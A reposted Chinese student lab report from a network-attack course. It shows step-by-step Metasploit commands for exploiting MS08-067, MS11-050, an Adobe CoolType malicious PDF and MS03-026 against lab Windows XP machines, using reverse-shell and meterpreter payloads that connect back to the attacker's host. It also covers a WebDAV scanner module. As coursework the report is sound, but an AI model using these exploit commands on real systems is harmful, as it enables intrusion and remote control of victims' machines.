码迷,mamicode.com
首页 > 其他好文 > 详细

20155229《网络对抗技术》Exp5:MSF基础应用

时间:2018-04-28 19:30:08      阅读:176      评论:0      收藏:0      [点我收藏+]

标签:没有   arch   自己的   local   过程   安装   proc   作用   不可用   

实验内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 一个主动攻击实践,如ms08-067;

  • 一个针对浏览器的攻击,如ms11-050;

  • 一个针对客户端的攻击,如Adobe;

  • 成功应用任何一个辅助模块。

  • 以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的。


主动攻击实践 MS08-067漏洞

  • msfconsole进入msf控制台
  • search ms08_067查看该漏洞

技术分享图片

  • use exploit/windows/smb/ms08_067_netapi使用该漏洞
  • show payloads回链攻击载荷技术分享图片

  • set payload generic/shell_reverse_tcptcp反向回连

  • set LHOST 192.168.126.128攻击机的ip地址

  • set LPORT 5229 攻击的端口

  • set RHOST 192.168.126.136靶机的ip地址

  • set target 0 选择目标系统类型

  • exploit 进行攻击

  • 下图中展现了攻击成功

技术分享图片

  • 在kali中输入ipconfig查看靶机的ip地址

技术分享图片

  • 在XP中查看靶机的ip地址,两者相比较,完全一样。

技术分享图片

针对浏览器的攻击 ms11_050

  • 进入msfconsole控制台

  • 输入use windows/browser/ms11_050_mshtml_cobjectelement命令使用ms11_050漏洞

  • 输入set payload windows/meterpreter/reverse_http命令使用http反向连接

  • 设置kali的IP地址set LHOST 192.168.126.128
  • 设置端口set LPORT 5229
  • 设置资源标识符路径set URIPATH fyh5229
  • 进行攻击exploit

技术分享图片
将上图的LOCAL IP 的网址输入进WIN XP中的IE浏览器中,出现遇到问题需要关闭的窗口。同时360已经给出需要修复的通知。

技术分享图片

  • 但是回到KALI建立会话时,IE浏览器已经关闭该网页。

  • 设置浏览器的选项,将安全等级设为最低,且启动了插件设置,但是,会话连接还是失败。。。

技术分享图片

会接着研究这个问题的

针对客户端的攻击 Adobe

  • 输入msfconsole进入msf控制台
  • 输入search adobe查找和adobe相关的漏洞

  • 我选择了windows/fileformat/adobe_cooltype_sing

  • 输入set payload windows/meterpreter/reverse_tcp使用tcp反向连接

  • 设置IP地址及端口号
  • 输入set FILENAME 5229.pdf命令生成pdf文件
  • 进行攻击

技术分享图片

  • 下图为成功生成PDF文件的标志。

技术分享图片

  • 根据存储路径,找到PDF文件并将其放进靶机里。
  • 但我找了很久都没有找到该文件,后来,如下图,选择显示隐藏文件,这时就能找到隐藏的文件夹了。

技术分享图片

  • 我先将改文件复制进了我的主机中,立马被360删除了。

技术分享图片

  • 在msf中进入监听模式
  • set payload windows/meterpreter/reverse_tcptcp反向连接
  • 设置ip地址和端口号
  • 进行攻击

技术分享图片

  • 在XP上打开5229.pdf文件,kali中显示攻击成功

技术分享图片

  • 输入ipconfig,显示的是xp的ip地址,证明攻击正确。

技术分享图片


辅助模块 webdav

webdav: WebDAV 一种基于 HTTP 1.1协议的通信协议。由于 WebDAV 已与 Windows XP 和 IIS 集成,因此它具有这两者所提供的安全特性。其中包括 Internet 信息服务管理单元中指定的 IIS 权限和 NTFS 文件系统中的自由选择访问控制列表 (DACL)。

  • 进入msf控制台
  • 使用show auxiliary命令显示所有的辅助模块以及他们的用途。

技术分享图片

  • 选择scanner/http/webdav_scanner
  • show options查看该漏洞的配置选项

技术分享图片

技术分享图片

  • 设置了kali的ip地址和线程
  • 进行攻击

技术分享图片

技术分享图片

  • 允许webdav,再次进行攻击,会得到[*] 192.168.126.128 (Microsoft-IIS/6.0) has WEBDAV ENABLED的消息。

RPC接口长主机名远程缓冲区溢出漏洞(MS03-026)

  • Remote Procedure Call (RPC)是Windows操作系统使用的一种远程过程调用协议,RPC提供进程间交互通信机制,允许在某台计算机上运行的程序无缝地在远程系统上执行代码。

  • 使用use exploit/windows/dcerpc/ms03_026_dcom
  • 使用set payload windows/meterpreter/reverse_tcptcp反向连接
  • show options 查看该漏洞的配置选项

  • set LHOST 192.168.126.128 设置主机ip

  • set RHOST 192.168.126.137 设置反弹shell的ip

技术分享图片

  • 进行攻击,攻击成功,但是没办法建立会话。

"无会话已创建"消息发生的情况:

① 使用的漏洞利用对所选择的目标不起作用。可以
是一个不同版本的漏洞,或目标配置有问题。


② 您使用的漏洞利用被配置为使用不创建的有效载荷 
互动会话。


实验后问题回答

  • 用自己的话解释什么是exploit,payload,encode.

  • exploit英文翻译为利用,黑客就是利用漏洞对电脑进行攻击,有漏洞不一定可以利用,但可以利用的一定有漏洞。
  • payload:有效载荷。通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,而其中的原始数据就是payload
  • encode:编码器,用来给payload进行编码,保护payload不被发现


实验总结与体会

这次实验其实不难,但是不代表每次攻击都能成功,也不代表每次攻击都能成功建立会话,我做了好几个实验,成功的占少数,还有些失败的我没写上来。

虽然失败的占多数,但无疑这次实验通过自己查找资料学习漏洞学到了很多知识。

20155229《网络对抗技术》Exp5:MSF基础应用

标签:没有   arch   自己的   local   过程   安装   proc   作用   不可用   

原文地址:https://www.cnblogs.com/fyhtvxq/p/8968928.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!